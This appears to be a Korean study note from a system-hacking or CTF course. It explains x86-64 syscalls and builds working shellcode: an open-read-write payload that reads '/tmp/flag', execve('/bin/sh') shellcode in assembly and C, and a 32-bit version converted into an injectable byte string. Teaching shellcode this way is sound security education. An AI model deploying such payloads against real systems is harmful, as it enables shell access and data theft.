익스플로잇(Exploit): 해킹 분야에서 상대 시스템을 공격하는 것
: 익스플로잇을 위해 제작된 어셈블리 코드 조각
: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드
syscall
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| read | 0x00 | unsigned int fd | char *buf | size_t count |
| write | 0x01 | unsigned int fd | const char *buf | size_t count |
| open | 0x02 | const char *filename | int flags | umode_t mode |
#예시: "/tmp/flag"를 읽는 셸코드 작성
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| open | 0x02 | const char *filename | int flags | umode_t mode |
1) "/tmp/flag" 문자열을 메모리에 위치시키기
=> 0x616c662f706d742f67(/tmp/flag)를 push
2) rsp를 rdi로 옮김
3) O_RDONLY = 0 => rsi = 0으로 설정
4) mode는 의미X => rdx = 0으로 설정
5) rax를 open의 syscall 값인 2로 설정
#구현
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| read | 0x00 | unsigned int fd | char *buf | size_t count |
1) syscall의 반환 값은 rax로 저장
=> open으로 획득한 /tmp/flag의 fd는 rax에 저장됨
2) rax를 rdi에 대입
3) 0x30만큼 읽을 것이므로 rsi에 (rsp - 0x30) 대입
4) rdx = 0x30으로 설정
5) read 시스템콜을 호출하기 위해 rax = 0으로 설정
#구현
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp - 0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| write | 0x01 | unsigned int fd | const char *buf | size_t count |
1) 출력은 stdout => rdi = 0x1로 설정
2) rsi와 rdx는 read에서 사용한 값 그대로 사용
3) write 시스템콜을 호출하기 위해 rax = 1로 설정
#구현
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
스켈레톤 코드: 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 말함
# 최종 어셈블리 구현
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
// orw.c
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw.c를 컴파일하고, 실행
만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있음
: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득할 수 있음
셸(Shell, 껍질): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스
커널(Kernel, 호두 속 내용물): 운영체제의 핵심 기능을 하는 프로그램
리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있음
execve 셸코드는 execve 시스템 콜만으로 구성
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
argv: 실행파일에 넘겨줄 인자
envp: 환경변수
sh만 실행하면 되므로 다른 값들은 전부 null로 설정해도 상관 X
리눅스에서는 기본 실행 프로그램들이 /bin/디렉토리에 저장되어 있으며, 실행할 sh도 여기 저장되어 있음
#예시
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
#예시
// execve.c
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
컴파일 후 실행 결과로 sh가 실행된 것을 확인할 수 있음
shellcode.asm
#예시
; shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
이를 바이트 코드로 변환하는 과정
step1. shellcode.o
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
step2. shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
shellcode string
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"